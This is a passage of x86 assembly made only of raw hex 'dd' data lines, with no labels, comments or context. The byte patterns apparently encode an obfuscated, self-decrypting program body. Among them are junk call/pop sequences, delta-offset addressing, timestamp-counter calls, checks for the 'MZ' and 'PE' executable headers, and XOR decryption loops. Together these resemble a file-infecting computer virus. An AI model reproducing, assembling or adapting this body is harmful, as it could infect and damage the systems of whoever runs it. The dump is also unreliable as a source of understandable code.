44810424h, 1A0424h, 56460000h, 0A0849BC3h dd 0B412DBA4h, 4885E381h, 95FF1FB0h, 5EA1015h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 73C35040h, 71F6363Bh dd 0FEBF66EBh, 0FB2B978h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0E18377C3h, 55006AFCh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0E1B352D0h, 0DF9FE8D2h, 0F58D8965h, 0FC05EA2Fh, 2BDAB70Fh dd 659589C0h, 0BA05EA1Dh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 54C35545h dd 0B589983Ah, 5EA0699h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 28E0Fh, 0D88A0000h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 5EC35141h, 0CCA0DC21h, 880D1Bh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 29DE87C3h, 0ADD958Bh, 9D8B05EAh, 5EA0369h, 0ACD8D8Bh dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 424B9DC3h, 0C28B5072h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6658188Bh, 6AFE8Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0C8BD97C3h, 888443A4h dd 89072CCAh, 0EA2C699Dh, 19BD8305h, 5EA08h, 17840Fh, 0B8F90000h dd 0 dd 0A918589h, 8D8D05EAh, 5EA4C21h, 0FFFBB70Fh, 0F5BD83E1h dd 5EA25h, 4A3840Fh, 0D3810000h, 734244C1h, 25F5BD83h dd 0F0105EAh, 4AB84h, 5D8D8900h, 8305EA09h, 0EA25F5BDh dd 860F0305h, 462h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0A3C35040h, 0CAB442Dh, 32E59529h, 0AE905EAh dd 0F9000000h, 0C3BE1255h, 0AD9C7597h, 0E8B4BFA9h, 6A607CA6h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0F54BC352h, 6C1A3CB9h, 530A221Fh, 3F27A9BFh dd 0B5895B4Fh, 5EA2905h, 6AD98C66h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 66A8C357h dd 22BC6EBFh, 0A5BD8B2Bh, 8005EA05h, 0C90A04E1h, 104840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 6F0E22C3h, 15EBE437h, 0D98B6633h, 1629858Bh dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BD8B93C3h, 5EA1E0Dh, 15358533h, 14E805EAh dd 0BF000000h, 0FE5BFF01h, 0A8743141h, 9E427F89h, 0FFAF3E07h dd 9D25539h, 0EA139DB5h, 0B3505B05h, 240489DEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6CC35545h, 0AF442136h dd 0BA7BFE5h, 6AF9C7h, 0C64CD0BFh, 7EC5682Bh, 0F606530h dd 38Ah, 0FA8B6600h, 24348161h, 652F7D3Ah, 5E9h, 5ED52200h dd 95FFD119h, 5EA320Dh, 89DEBF0Fh, 0EDD9E085h, 41B58905h dd 0E905EA2Ch, 21Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 93C35343h, 1DA093EFh, 858B98EDh, 5EDD9D8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0ECC35242h dd 0E9CC1FF6h, 0Dh, 0ECDBEE1Fh, 3D39D7B8h, 0EA714778h dd 870F9Fh, 0C7000000h, 1800h, 8BF88B00h, 0EDD9DCB5h, 6820F05h dd 8B000000h, 0EA2E8DBDh, 0E5858B05h, 6A05EA29h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0FEE4C353h, 0DE99A394h, 0BD89560Bh, 5EA301Dh, 6A06895Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0E9E4C357h, 97FD85F8h, 65AB2B3Fh, 1BC59D8Bh dd 8BF905EAh, 0EA1739BDh, 29858B05h, 6005EA16h, 0A7DB58Bh dd 5E805EAh, 35000000h, 0FB609246h, 2301B533h, 615B05EAh dd 60044689h, 5EB1EA81h, 816178EDh, 0B04EEAE3h, 13E8502Dh dd 2B000000h, 105DF2C8h, 0D7F0661Fh, 0ACEF181h, 0B2793B4Ch dd 5060111Ch, 5A310F52h, 0DE8B6658h, 34895F61h, 1858924h dd 0FF05EA08h, 0EDD9D8B5h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 33FCC626h dd 2E2A6815h, 0CE935EFh, 0BE000000h, 6CC6966Eh, 0BF6FC62Bh dd 8125B1C1h, 2DD52434h, 6A35F0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 82C2EDC3h, 0F56F36Ah dd 289h, 0E9F98B00h, 11h, 110717CCh, 4F9AD8CDh, 0B893273Eh dd 0A1F0C024h, 0E0858D08h, 0FC05EDD9h, 0D88B6690h, 66525050h dd 310FDE8Bh, 8B665250h, 0E8310FF8h, 11h, 5417B308h, 0F76D6D33h dd 0A8126788h, 5B0C23E7h, 585A5FB5h, 8B90585Ah, 0D95FFD8h dd 6A05EA32h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0AA30C351h, 3EAF7771h, 6A6187h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0DB2878C3h, 0BB6611D6h, 8F0FACD4h, 6, 141D8531h, 85C705EAh dd 5EA25F5h, 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0CFC35545h, 0E5523A76h, 0DE8h, 0B6671C00h, 8D022D89h dd 4CF3C8B2h, 9D89D1B2h, 5EA14C1h, 0E0BD835Fh, 5EDD9h dd 40840Fh, 0BD8B0000h, 5EA11EDh, 3141BD8Bh, 4AE905EAh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0DF11C356h, 796EEBA7h, 0E1BD8960h dd 8905EA31h, 0EA11098Dh, 30506105h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BB666310h dd 6A43C5h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 9C2863C3h, 0BE151CD6h, 33534BFCh, 0EA29BDBDh dd 0BD835B05h, 5EA25F5h, 0F9850F03h, 8B000003h, 0EA2AA1BDh dd 0E0BD8305h, 5EDD9h, 3E6840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8D896AC3h dd 5EA2C41h, 0D9E0B5FFh, 6A05EDh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 6E5E4C3h, 0FF0A5B3Bh dd 0EA128D95h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8BA906F3h, 0EDD9D4B5h dd 62CB8105h, 0C77277A1h, 1000106h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 7072DACh, 647B8181h dd 0E853E0FDh, 7, 0DFE6B63Ah, 8B8D19A2h, 965F5FDFh, 0B350F98Bh dd 6A9665h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 72B3F5C3h, 0B59BC557h, 0C870F21h, 0F000000h dd 682h, 119D8B00h, 0FF05EA0Bh, 0EDD9E0B5h, 0E9958905h dd 0FF05EA16h, 0EA326995h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 9B169B10h dd 782AC62Ch, 8BF8301Ah, 0EDD9D4B5h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1595726h, 3A39FAD1h dd 0BD89680Bh, 5EA0771h, 881858Bh, 860F05EAh, 2, 8689FA8Bh dd 0C4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 9FC35040h, 0ADD958Bh, 8B6605EAh, 4C283F9h, 14BD8589h dd 508905EAh, 358D3120h, 0F05EA06h, 684h, 81B53100h, 8D05EA07h dd 0EDEB6785h, 0DB58905h, 8905EA2Ch, 0B886h, 0FBB70F00h dd 0B70F006Ah, 0E0B5FFDBh, 0E905EDD9h, 0Bh, 0D7450D1Eh dd 9649183Ch, 0FF1CAEBFh, 0EA163D95h, 29B79605h, 6A9650h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8509A2C3h, 5EA2B7Dh, 8E8h, 0A32E1D00h, 766037BBh, 0B5FF5FA5h dd 5EDD9E0h, 0A995FFFCh, 5005EA15h, 5BDA8B66h, 0FA8B6660h dd 2AC9BD8Bh, 836105EAh, 0EA115DBDh, 840F0005h, 79h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C5C35343h, 37B0F705h dd 965959BFh, 11E9h, 44C63E00h, 6426C0CAh, 17D114FEh, 92D63AB2h dd 0F5054D0h, 288h, 96DF8B00h, 0E850006Ah, 3, 58C35820h dd 4244489h dd 4244481h, 14h, 6BC35040h, 14E9h, 0D67B2B00h, 72D7CB71h dd 75743C53h, 0EFF6FC5Bh, 1DAAC45Ch, 0E0B5FFFFh, 6A05EDD9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0C715C350h, 63380AB2h, 0DC6C1144h, 88B0Fh dd 89500000h, 0EA08318Dh, 0BF0F5F05h, 0C995FFDAh, 8905EA1Ch dd 0EA0799B5h, 0E0B5FF05h, 6A05EDD9h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 89B4C356h dd 9C19F383h, 0FBDCFD1h, 8Ch, 0E8B0F00h, 60000000h, 0E999D8Bh dd 9D0105EAh, 5EA1A41h, 0D95FF61h, 6A05EA23h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 908AC350h, 2D958951h, 5F05EA08h, 631BD83h, 0F0205EAh dd 5384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 98D8952h, 8B05EA1Ah, 0EA0C9585h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 2DB8B21Dh, 2499B589h, 0B70F05EAh, 0C6FBh dd 97D85C7h, 5EAh, 9D890000h, 5EA1E79h, 0FFF385E9h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 7BC62F66h, 6AC18B23h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 6EC4C351h, 0BAFCh dd 0EA81F00Eh, 0F0000000h, 8914C283h, 0EA0FF195h, 14EA8305h dd 67A2858Dh, 645005EFh, 35FFh, 89640000h, 25h, 0E800h dd 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h, 1285h dd 50B70F00h, 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h dd 1000h, 0FFFFD9E9h, 89C88BFFh, 0EA30A985h, 3C400305h dd 650B70Fh, 13959589h, 508B05EAh, 0B1958950h, 505EA16h dd 0F8h, 30C508Bh, 2D9589D1h, 305EA13h, 95890850h, 5EA0279h dd 58F64h, 83000000h, 13E904C4h, 51000000h, 10244C8Bh dd 0B0A981h, 10000000h, 33590000h, 0BD83C3C0h, 5EA29F5h dd 24840F00h, 0C6000000h, 0EA1A4585h, 0D2684705h, 0FFD49AA7h dd 0EA238DB5h, 0A0858D05h, 0FF05EDAFh, 0FF006AD0h, 618589D0h dd 8B05EA1Ah, 12E8D3h, 415D0000h, 0A8660796h, 0F7D963FBh dd 8A9F2DD4h, 0EAEC132h, 0FD69F681h, 0E95F6118h, 0Dh, 0CAD46E0Ch dd 0CD974BF0h, 0CFC3368Eh, 54C781FFh, 0E9000068h, 0Ch dd 0CBEFBBBBh, 0DEF0F7C5h, 54B4255Ch, 4A8B43BAh, 0A7F28163h dd 66634A92h, 0FF177BBBh, 2810F37h, 8B000000h, 0CE959DEh dd 0AB000000h, 0B7365AE1h, 0E4C4A642h, 81203F66h, 0FFEAF8F1h dd 0C181F907h, 455F9EBFh, 12791ABEh, 0D0E98111h, 603D12C6h dd 5810Fh, 0EFBE0000h, 8A550040h, 0E95161ECh, 11h, 49069375h dd 0F7E0D5E4h, 98F7FD25h, 5BDF956Ch, 0F078F1Eh, 0EF83C0B7h dd 0C3816601h, 4F4FCE6Fh, 1EA814Fh, 0F000000h, 0FFFF8A85h dd 8D8DF8FFh, 5EF695Dh, 89BEF380h, 0EA0ADD8Dh, 0DEBF0F05h dd 13840Fh, 0EE90000h, 0B1000000h, 0FBBE7A2Dh, 3BEC2CA9h dd 0E522D59h, 0CD85C7DFh, 0F005EA0Ah, 6A000067h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 2C7FC353h, 0EC1B4CEAh, 85C7AEF8h, 5EA25F5h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0A3C35646h dd 358B5E0h, 0B5FFF9C3h, 5EA3151h, 50EA8166h, 0DBD8B52h dd 0FF05EA2Dh, 0EA2A1995h, 9D9D2305h, 6A05EA11h, 1595FF00h dd 8B05EA10h, 0E65AEBC0h, 1C4E783Eh, 2B2F81EDh, 0E60084FBh dd 9A3725F1h, 46642E44h, 586EA8E3h, 5CA94B52h, 0BAF30E7Eh dd 4CC0709Bh, 4EEA6669h, 5BF6103Eh, 5773CF67h, 69634BBCh dd 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh, 0E787E3Eh, 724C3385h dd 69122ECAh, 0EFDE15BCh, 29A4FE74h, 6BC3B2F6h, 0BC8D8D34h dd 6A05EF6Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0DCCC351h, 0E8910F1Bh, 0Dh, 846F05EDh dd 0BDDA4904h, 0AF79EE2Dh, 51952300h, 5F05EA2Ch, 0ADD8D89h dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 441CD7C3h, 3880FB8h, 66000000h, 85C7F78Bh dd 5EA0ACDh, 7338h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 36C35545h, 0B58B4D23h, 5EA1685h, 25F585C7h dd 5EAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 668C47C3h, 0B5FFF28Bh, 5EA0C29h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BC35040h dd 0B68E4D4Eh, 0FFF88112h, 0EA2A1995h, 0D998B805h, 6A7549h dd 101595FFh, 0C08B05EAh, 0F7896AEBh, 6D4C84h, 36599269h dd 0E0F31C34h, 0A8EA7025h, 0B1A539AFh, 6342E241h, 32B99316h dd 85FB8A2Eh, 8305895Eh, 720FA68Fh, 562944BBh, 0F5A63570h dd 3E338FB6h, 0B7D5D523h, 93689F9Bh, 0F4FD108Bh, 0B8881287h dd 2C4FF843h, 50D47C1Ah, 0EB417897h, 0C36522F0h, 0C17A5E04h dd 0DB6259A6h, 31727DE0h, 8A452EC7h, 1331E6C0h, 0FE8h dd 61B60F00h, 99ECAA2Dh, 0D5A8F051h, 37A2C50Ch, 0E95A2FB3h dd 11h, 4ADC0323h, 0A675415Ah, 0FFD74EB5h, 5000BE51h, 0C0C28163h dd 0E9000062h, 0Bh, 2BA125B3h, 4326A925h, 0B8D40C8Eh, 0 dd 0A9950B60h, 8005EA14h, 8B614EC2h, 0C9800234h, 6AF681F1h dd 312FBA2Dh, 0EA0AE185h, 3BC68105h, 6638D20Ch, 81C335BFh dd 96E5EFC6h, 0E58D2369h, 5605EA20h, 0A359D8Bh, 48F05EAh dd 48E0F02h, 53000000h, 895F6160h, 0EA0F39B5h, 1E88305h dd 89484848h, 0EA0FD18Dh, 24F88105h, 0FFFFF9Eh, 2185h dd 8D8B6000h, 5EA0B4Dh, 3D98DBAh, 2EE96160h, 0AA000000h dd 0D8E139B3h, 5C1DC9BEh, 541F0E92h, 8C0F497Bh, 6, 1DA59501h dd 74E905EAh, 5AFFFFFFh, 2B3858Eh, 272884E3h, 56EC796Dh dd 5797635Dh, 0D7749ACCh, 0D2F400BAh, 0D29D8861h, 8ABE3031h dd 961740F2h, 961F0815h, 0D2880215h, 82DE0331h, 95F2E3F2h dd 0C1477DB2h, 0A79E65DBh, 3723B338h, 0D29BF21Fh, 81CE1545h dd 0D126C6BAh, 5B9E0335h, 3893F8B4h, 27034D34h, 2D9B8CECh dd 51C66BE2h, 38B0FD8Ch, 0C5EA0C34h, 0D1265561h, 5B9E0335h dd 3893F8B4h, 36034D34h, 2D9B8CEBh, 5BC66BE2h, 388C2DA4h dd 4210334h, 0D2F4C6BAh, 0D29DEB64h, 8FBE8131h, 0BE179DF2h dd 961F6415h, 0D28A3415h, 87DB1831h, 4F17D9F2h, 0D774041Ch dd 5A32F2B0h, 5EF897D6h, 129CFE9h, 56916499h, 0D29E334Eh dd 0B0F4EAB0h, 6F1D184Ah, 0D774378Ch, 0FD1A0C31h, 3A9E8131h dd 0D29EC021h, 0C873B74Dh, 9B440DA2h, 89D30571h, 0AA795B65h dd 0D2988C3Eh, 57170331h, 0D7748AF4h, 0C7034B68h, 3B9B8A12h dd 0D29E330Eh, 0D2209F87h, 0B49C0C16h, 9447EDB0h, 714286BCh dd 0DC7784DCh, 489EC031h, 267DD2E7h, 0E5629AACh, 6A7BC6DAh dd 0FB4EF387h, 38B72F8Ch, 0D4190C34h, 599E8131h, 388439A4h dd 0DD5EE534h, 0D29EF6B5h, 1B03A731h, 0EA1F317Ah, 291F6066h dd 0D2AA863Eh, 0D2F48131h, 0D29D2866h, 8DBE6031h, 0AE176FF2h dd 961F1C15h, 0D2890815h, 85D90631h, 0C34A48F2h, 0B3030AADh dd 609B2A33h, 0AA1F0649h, 0DD9C3235h, 0D29CF5B5h, 53F8F431h dd 0DDFE9A09h, 0D29E75B4h, 3F6E3831h, 0AA1EE451h, 57918833h dd 0D29E3056h, 3ACF185Bh, 0D29E0C32h, 8B5D5F11h, 0D6BA4FB8h dd 0D6BAC5B0h, 0D29EC024h, 345D3170h, 7B23399Dh, 0B49BF225h dd 0D29874B0h, 0EA1B099Ah, 0DD9E0331h, 0D29E84B5h, 181FA631h dd 4177F109h, 0B89E3033h, 0D1764F31h, 0F29E0C31h, 5BC1C56Eh dd 539A274Dh, 0C89AA575h, 959EC031h, 286AA366h, 4B9D3E7Fh dd 9B2B914Fh, 6C9BE627h, 949F0731h, 0DDC79EBAh, 571384DBh dd 0D77363EDh, 370BE951h, 3B9BDA27h, 0D29E183Ch, 0CA5B8E0Eh dd 0E77F4A69h, 73D60A6Ch, 261E0C1h, 3AC9C05Bh, 0D29E6032h dd 8D5D6F11h, 0D6BA64B8h, 0D6BA48B0h, 0D29E0628h, 7D5D5476h dd 0C4C8633h, 0DD5E45BFh, 0D29F82B5h, 0E713B931h, 539BF212h dd 0D0A36A09h, 921B0933h, 0D39E0331h, 38925884h, 0D4E64134h dd 0A8C15D57h, 0D36EB43Eh, 0D2F41831h, 0D29DE461h, 8ABE0631h dd 96175BF2h, 961F8515h, 0D287C415h, 82DE6031h, 639A1CF2h dd 59D169A3h, 388CA58Ch, 7F032F34h, 0B49BE938h, 0B202B9B0h dd 0D2D3453Eh, 0AA1E6031h, 5791D833h, 0D29E1872h, 3ACC0C5Bh dd 0D29E0632h, 885D5911h, 0D6BAD5B8h, 0D6BA84B0h, 0D29E602Dh dd 505D6273h, 3F5C1E0Bh, 0EDE7D226h, 3CBFF5B0h, 53F84220h dd 129E8749h, 0D293453Eh, 8156031h, 0D29F41D8h, 82479931h dd 6CC6D387h, 0AC9F0731h, 3ACD035Bh, 0D29E8132h, 895D9B11h dd 0D6BA3CB8h, 0D6BA74B0h, 0D29E1827h, 805D5F72h, 57133D48h dd 0D773A0EDh, 2615EBAh, 3ACFC05Bh, 0D29E6032h, 8B5D6911h dd 0D6BA54B8h, 0D6BA48B0h, 0D29E0625h, 645D5270h, 0FD630CBAh dd 53F8C5DBh, 5700BFC2h, 0E1A3FF1h, 0B89E1831h, 0D1765931h dd 0F29E0631h, 5BC3C06Ch, 539AA55Dh, 0CE9AE475h, 979E6031h dd 0A03EF364h, 69C38707h, 0D38B4688h, 389BFFA4h, 3AA68334h dd 0D2DB043Eh, 0D877C031h, 5B9E6031h, 0FE74BC83h, 5A7B3696h dd 0D7E68C74h, 0FE1B0942h, 0F99E0331h, 388BB8A4h, 0D5E64034h dd 611A6F62h, 0B29E3031h, 0D298F051h, 0B6860C31h, 71C01989h dd 6F238A6Ah, 0B39B6B3Ah, 0C0777518h, 0B4FF65DBh, 0D71108B0h dd 0D2C79D3Eh, 4F9F0C31h, 0D7742EC0h, 0BA987BB1h, 0D2D7043Eh dd 5F15C031h, 0D7746E9Ch, 0D9E6B157h, 57913DCEh, 0D29E0C06h dd 0F7E8488Eh, 0D2FEEA48h, 0C2778131h, 0EF9EC031h, 84BFF883h dd 689AEF09h, 0DE783D57h, 3B8BED1Dh, 0D29E0622h, 0BB0E8DCEh dd 5BC1F033h, 4A13A045h, 0E725FF3h, 6A1A72ACh, 0D29E1831h dd 3AC90C5Bh, 0D29E0632h, 8D5D5C11h, 0D6BAFDB8h, 0D6BA84B0h dd 0D29E6026h, 0B75D6776h, 0B41FF3F1h, 0A31DEFB0h, 3B51B13Eh dd 0D29E033Eh, 0D3266DBBh, 0DD9EC031h, 0D29E62BFh, 8240BA31h dd 19EB698Ah, 0F69A8504h, 5F61B93Eh, 3DF21B8Ch, 60130C34h dd 6A9B2F41h, 0A5F83512h, 0FB47B532h, 1DB51DDBh, 7316CF0h dd 35BAC9Fh, 81323ACDh, 9B11D29Eh, 3CB8895Dh, 74B0D6BAh dd 8327D6BAh, 0A4F305E9h, 6A94B258h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2F0CC352h dd 8B661AB5h, 0FC00BF9h, 6884h, 0B5315700h, 5EA1A4Dh, 21B58D5Bh dd 6605EA4Ch, 851CE381h, 3B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0A2655B5Ch dd 8BBBDA97h, 0EA024195h, 2B9BBF05h, 0E6FF0818h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 78C35747h, 0B1FE8B3Bh dd 12E84077h, 41000000h, 24A33116h, 7A88948Dh, 2D466CBh dd 4216E0EEh, 0FD95890Fh, 5905EA28h, 8D0FC08Bh, 1, 0D9BD83F8h dd 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h, 0B8C08B53h dd 403h, 7698589h, 9D8D05EAh, 5ECDE5Ch, 585BD3FFh, 2EE5BD83h dd 740005EAh, 0B8535017h, 403h, 7698589h, 9D8D05EAh, 5ECDAFDh dd 585BD3FFh, 0AE9h, 0A77D5F00h, 0A9C47159h, 6A35EAE7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 78F8C351h, 6009AAF8h, 1B718501h, 61F505EAh dd 29118589h, 0C08B05EAh, 2859D2Bh, 8D6105EAh, 0EF73288Dh dd 8E805h, 0AF540000h, 9911BB35h, 8B669B8Ch, 8D8958F7h dd 5EA0ADDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 4DC35646h, 0B5293CB4h, 5EA1CC1h, 0ACD85C7h, 6EBC05EAh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 573ABDC3h, 0DCDDEF7Dh, 0DFBF0F1Ch, 25F585C7h dd 5EAh, 0EA810000h, 436EAD7Fh, 12E852h, 27C10000h, 906537Ch dd 99CB7383h, 7ECAA2F6h, 7B0C436Ch, 11B5958Bh, 5A5B05EAh dd 2CBDB5FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0B4545AC3h, 0AECC6565h, 9D8B6033h dd 5EA2381h, 75B529h, 0FF6105EAh, 0EA2A1995h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0FC8A9A25h, 0AC98589h, 6A05EAh, 101595FFh, 0C08B05EAh dd 0AE9518EBh, 4D20C59Ah, 6F0043C0h, 7A420349h, 0ECFC79DDh dd 70223DEBh, 0CE8BE21h, 0ED000000h, 0AC10346Ah, 96191DB4h dd 310E20Fh, 0EA232DB5h, 81F95905h, 66DAC1h, 0DB33F900h dd 0D90CB866h, 89193C8Bh, 0EA067185h dd 0F9EF8105h, 8B02C093h, 0EA02AD95h, 0C3EF8105h, 51692547h dd 2EE18533h, 815E05EAh, 1A5AF8F7h, 49850309h, 8905EA1Bh dd 0B589193Ch, 5EA248Dh, 8E8h, 38B03200h, 7E53F4E9h, 25958B3Bh dd 5E05EA01h, 2A03EB81h, 0BA6629B9h, 0C3816B5Dh, 29B929FFh dd 5F68166h, 0D8FB81C0h, 0FFFFF99h, 1685h, 0F0BF0F00h dd 20E9h, 0AF6C8A00h, 5A42239Dh, 0C6EFC049h, 0FAD1B3Bh dd 75E9C3B7h, 72FFFFFFh, 0DEB38189h, 3CE809BDh, 712ADEBBh dd 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h dd 265AF198h, 3C76EF5Eh, 4E603072h, 0A5E4FFB4h, 5BEF867h dd 0A3BEA372h, 23DEFC38h, 0A3BA7967h, 23D9F891h, 0FC6D71Bh dd 29333072h, 2633831Dh, 36B6C098h, 763649ECh, 5231D615h dd 0D963AC77h, 0CC1FDD0Dh, 2664839Dh, 23593598h, 52211F15h dd 0AB634877h, 0C947A41Dh, 0B3CC039Dh, 23D9B869h, 0A23C1493h dd 26336AA1h, 5221B015h, 0CE639F77h, 26334DAAh, 0A3BEF6D8h dd 23DC2780h, 34B624C8h, 76363BECh, 2A5AFF67h, 0E2B03072h dd 34B61794h, 7636A2ECh, 52312315h, 0D9635677h, 0CC1FA00Dh dd 26513D9Dh, 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh dd 6633A698h, 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h dd 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah dd 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch dd 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h dd 2637A851h, 52338815h, 0ABBE9F77h, 23DC38ADh, 9320h dd 0E7FC7800h, 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h dd 7535B58Dh, 8D8D05EFh, 5EF7554h, 0E983CF2Bh, 0E8C88B05h dd 8, 0FE2723B0h, 0C8762D75h, 8E95Fh, 4D830000h, 21D29071h dd 0C7816188h, 636Eh, 0E5374B8h, 0FCDB2B6Ah, 661F0C8Bh dd 0CAABCA81h, 81D5C181h, 0B5293313h, 5EA1C21h, 4BD3C181h dd 8E931D8h, 0F9000000h, 0CB03205Bh, 819C9E09h, 0F1CC1EE9h dd 52EA8165h, 51420B2Ch, 1109B58Bh, 48F05EAh, 0E953F51Fh dd 6, 58A64EC2h, 8358CF9Ah, 0C78B04EBh, 9D10FB81h, 850FFFFFh dd 0FFFFFFA4h, 4EB79B6h, 4C3A7AE2h, 52BE9h, 0AC538500h dd 28CD02F8h, 0A055867Ch, 2ECB0EF4h, 0A152807Ah, 0D0D253F5h dd 5FA5F1A2h, 0CA306417h, 7B81D58Ah, 0B91347F2h, 0DBA3992Bh dd 9A161D45h, 49E86D33h, 0AE6BEFE5h, 4824882Dh, 46B47A24h dd 0C06E3695h, 0B714C90Eh, 319D3CB1h, 0EE61B23Bh, 66F5CF7Dh dd 0D0481756h, 107C10BCh, 0AE4F804Eh, 15C60802h, 707ADA79h dd 1BBC38FFh, 1BB7DBB7h, 0A9EE1E14h, 8F217524h, 0C0631241h dd 0BFE196C6h, 0BAFACC25h, 6991A157h, 572F251Fh, 0A3009817h dd 2CD301FBh, 97448A80h, 5FC56B3Bh, 2F7D77C5h, 68F01757h dd 572F261Eh, 0A2019917h, 0BD7374E0h, 5A369A39h, 0DA7DFFF9h dd 0A5C9208Eh, 679F0CA8h, 9FD6D073h, 0E9005EF2h, 0AEB11FDAh dd 8DF75418h, 1756A7BAh, 89DA0A48h, 0CE6D1047h, 0E79F286h dd 4B0234h, 6D5B0000h, 93E549E8h, 1756669Fh, 727BE9ABh dd 340E3886h, 1F6h, 0EA6DAF00h, 6AEDE74Bh, 6AED2AADh, 670B67CBh dd 2CADA70Bh, 0DBB762EBh, 2727877h, 0C79342B5h, 992BB83Dh dd 175666A3h, 62D08E16h, 1756678Ah, 5D0965FDh, 4EED6D04h dd 0B667E8E2h, 